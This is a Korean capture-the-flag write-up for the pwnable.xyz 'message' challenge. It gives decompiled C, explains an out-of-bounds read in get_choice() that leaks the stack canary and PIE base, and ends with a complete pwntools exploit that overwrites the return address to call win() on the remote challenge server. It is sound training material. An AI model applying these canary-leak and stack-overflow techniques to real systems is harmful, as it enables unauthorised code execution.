[pwnable.xyz]message

처음에 admin만 어떻게 덮으려고 했는데 덮을 수 있는 방법이 없는 것이다.. 게다가 보호기법도 다 걸려있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  unsigned int v4; // eax
  char input; // [rsp+10h] [rbp-30h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  puts("Message taker.");
  printf("Message: ", argv);
  v3 = &input;
  _isoc99_scanf("%s", &input);
  getchar();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ", v3);
      v4 = get_choice();
      if ( v4 != 1 )
        break;
      printf("Message: ");
      v3 = &input;
      _isoc99_scanf("%s", &input);
      getchar();
    }
    if ( v4 <= 1 )
      break;
    if ( v4 == 2 )
    {
      v3 = &input;
      printf("Your message: %s\n", &input);
    }
    else if ( v4 == 3 )
    {
      if ( admin )
        win();
    }
    else
    {
LABEL_14:
      v3 = v4;
      printf("Error: %d is not a valid option\n", v4);
    }
  }
  if ( v4 )
    goto LABEL_14;
  return 0;
}

의외로 익스는 간단했다. get_choice() 함수에서 취약점이 터진다. 여기서 rax control을 할 수 있어서 해당 주소 값을 1Byte씩 가져올 수 있다. 그래서 canary, pie leak해주고 1번 메뉴에서 리턴 win() 함수로 덮어주면 된다.

exploit.py

from pwn import *

# context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30017)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
admin = 0x00000000002021E4

# b*0x555555554000+0x0000000000000A76

sla('Message:','AAAA')

canary = ''

for i in range(0x3b,0x3b+7):
	sla('>',chr(i))
	p.recvuntil('Error:')
	canary += chr(int(p.recvline().split()[0]))

canary = u64(canary.rjust(8,'\x00'))
log.info('canary : {}'.format(hex(canary)))

pie = ''

for i in range(0x4a,0x4a+6):
	sla('>',chr(i))
	p.recvuntil('Error:')
	pie += chr(int(p.recvline().split()[0]))

pie = u64(pie.ljust(8,'\x00')) - 0xb30
log.info('pie : {}'.format(hex(pie)))

sla('>','1')

payload = 'A'*40 + p64(canary) + p64(pie + 0xaac) + p64(pie + 0xaac)
sla(':',payload)

sla('>','0') # Exit

p.interactive()